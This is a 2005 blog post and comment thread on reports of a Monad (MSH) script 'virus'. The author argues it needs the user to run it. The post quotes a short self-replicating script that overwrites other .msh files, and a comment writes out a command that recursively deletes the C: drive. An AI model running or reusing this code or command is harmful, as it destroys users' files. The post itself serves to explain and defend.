« Tracers | Main | Preparing for Slashdot »

August 04, 2005

Alleged Monad "Virus", But Not Really

A posting on the F-Secure website claims First "Vista Virus" found. It was written up in issue six of RRLF Magazine. The story has now made it to ZDNet UK and will presumably osmose around the Internet. Basically it's some scripts that do sneaky things, so if you run the scripts on your machine then sneaky things get done on your machine. This is NOT a remote exploit or any widening of the Windows attack surface.

So the key defense is not to run those scripts. Lee Holmes has an excellent discussion of this, including some of the measures taken in the design of Monad to prevent script-based attacks (support script signing, don't create a file association for .msh, etc). But basically the quote-viruses-unquote depend on you running an untrusted script. Once you have done that, you are open to all sorts of attacks -- the same as if you ran an untrusted .CMD batch file. For example this is the first of the five viruses shown in the RRLL article:

$name_array=get-childitem *.msh
foreach ($name in $name_array)
{
  if ($name.Length -eq 249)
  {
    $my_file=$name.Name
  }
}

foreach ($victim in $name_array)
{
  if ($name.Length -ne 249)
  {
    copy-item $my_file $name.Name
  }
}

It takes all the .msh files in the current directory and replaces their code with itself. That's all. The other versions get more sophisticated and by the end you wind up with a script that inserts itself in a random spot in another script. It's interesting to see virus polymorphism techniques played out in MSH code, but fundamentally any attack would depend on first getting the user to run malware on their system.

Posted by AdamBa at August 4, 2005 03:51 PM

Trackback Pings

TrackBack URL for this entry:
http://proudlyserving.com/cgi-bin/mt-tb.cgi/286

Comments

So, will Vista RTM be vulnerable to this issue, or do we have to wait til SP1 to be protected?

Posted by: at August 4, 2005 07:37 PM

First of all, despite the super-heated prose in some of the articles about this, Monad isn't in Vista Beta 1, so you can't really call this a Vista anything, let alone a Vista virus.

Second, we are aware of this kind of issue and whenever Monad ships, we'll take steps to mitigate it.

Third, are you concerned that every version of Windows has the dreaded "cmd /c rmdir c:\ /s" virus in it? If not, then you have no reason to be concerned about Monad.

- adam

Posted by: Adam Barr at August 4, 2005 08:55 PM

Sometimes I think Microsoft should hire people that know absolutely nothing about using Windows products and let them design the applications.

Posted by: at August 4, 2005 10:47 PM

"Sometimes I think Microsoft should hire people that know absolutely nothing about using Windows products and let them design the applications."

So like, just about anyone from Slashdot? :)

Posted by: Soulhuntre at August 5, 2005 12:06 AM

you guys must have a pool going to see how long it would take to show up on Slashdot , right?

Posted by: Ricky Dhatt at August 5, 2005 01:53 AM

"Second, we are aware of this kind of issue and whenever Monad ships, we'll take steps to mitigate it"
THIS is excacly the reason why Microsoft have so many probelms with security.
If you don't design something to be secure, then every bug in it (or in the code that interacts with it) will be exploited.

VBS was very popular worm language. I don't remember exploits in it, but vbs worms used a lot of exploits to spread.
You can prevent this happening to Monad.

For example few raw ideas:

How about giving permisions of the script in its header. e.g. connecting to internet, writing files, modifing registry, list of applications it interact with (to prevent turning off firewall, antivirus, running other scipts, etc...).
So an administrator could with one look see if the scipt does more than it should.

Posted by: Ivan at August 5, 2005 02:32 AM

Ivan, that is a good idea. Although if you could get an admin to just look at an unknown script before they ran it you'd be 95% there....the big issue is people running scripts without looking at all.

When I said "we'll take steps to mitigate it" I didn't mean "we'll slap on some stuff at the end". We've been thinking about this all through the design of the product.

- adam

Posted by: Adam Barr at August 5, 2005 06:37 AM

A Monadish/Script Policy Group Manager planned within MMC/WMI? Some Admin Script view, permissional setting tool under Computer Management? If behind the curve, sorry. Just thinking in terms of my ideal.

Posted by: Christopher Coulter at August 6, 2005 10:54 AM

Permissions lists in the header of the script probably wouldn't work quite as desired, unless the language has been designed from the ground up to be sandboxed based on access rules.

There's no use declaring permissions unless they're enforced. Enforcing them does very little good (and is arguably harmful - false sense of security) unless there are no sneaky ways around the limitations.

I don't do much on Windows, so the following may be somewhat nonsensical in specifics. Hopefully the idea gets across:

For example, a restriction on network access might be bypassed by using bindings to COM, a facility to use LoadLibrary and friends to access code from C libraries, or a similar system. If the core OS has a capabilities system it might be able to say "nothing done by this process may access the network," but I don't recall hearing about much like that in Windows.

That means that you'd have a script that /looked/ like it had the 'network access allowed' flag unset, but was actually merrily sending data off somewhere.

It could probably be dealt with by setting up capabilities such that "no network access" would also block "dynamically load native code," but it'd also have to block "run other programs" and "communicate with running programs over IPC (otherwise you could just POST something from MSIE)" ... to the point where quicky you wouldn't be able to do much with the script.

Even Java, which was designed from the start to have fine-grained sandbox controls, has had a fair few issues with leaky sandboxes.

Because of these sorts of problems, I'd be inclined to agree that supporting signed scripts is a good idea, and that beyond that if you run an untrusted program without examining it, you'll get what you deserve.

On an unrelated note, that reminds me of a security feature I'd *REALLY* love to see in a future Windows version - the ability to identify self-extracting .zip files, and unpack them using the Windows native .zip support rather than running the program code. People insist on sending the awful things around, and it'd be nice not to have to manually open them with a 3rd-party unzip tool.

Posted by: Craig Ringer at August 7, 2005 11:08 AM

OK your saying that people will have to run an untrusted script for anything to realy happen with Monad, I seem to remember a lot of script based attackes that relied on just that principle, can you say "I Love You". So when did we rid the internet of morons that do just that ??

Posted by: Garry at August 8, 2005 05:44 AM

Garry: Yes, there were such attacks. So some changes were made, such as email programs recognizing certain extensions, extensions not having file associations automatically, etc. But in the end if despite all these safeguards, someone can be tricked into running a script, they will be in trouble. It's the same as a .exe. You can require signed .exes (and Monad supports signing of scripts and "run only signed scripts" mode) but if someone runs an untrusted .exe on their machine, they may be owN3d.

- adam

Posted by: Adam Barr at August 8, 2005 08:22 AM